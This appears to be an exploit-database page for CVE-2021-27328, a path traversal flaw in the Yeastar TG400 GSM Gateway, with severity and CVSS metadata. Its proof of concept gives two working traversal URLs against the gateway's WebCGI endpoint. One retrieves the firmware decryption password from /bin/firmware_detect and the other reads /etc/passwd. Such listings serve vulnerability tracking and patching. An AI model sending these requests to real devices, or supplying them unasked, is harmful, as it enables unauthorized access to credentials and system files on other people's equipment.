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Yeastar TG400 GSM Gateway 91.3.0.3 Path Traversal

CVE Category Price Severity
CVE-2021-27328 CWE-22 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-02-27
CPE
cpe:cpe:/h:yeastar:tg400_firmware:91.3.0.3
CVSS EPSS EPSSP
CVSS:6.5/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020163

Below is a copy:

Yeastar TG400 GSM Gateway 91.3.0.3 Path Traversal
Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3

This is a Proof of Concept for CVE-2021-27328
Example

    to get firmware decrypting password

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

    to get /etc/paswd

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd


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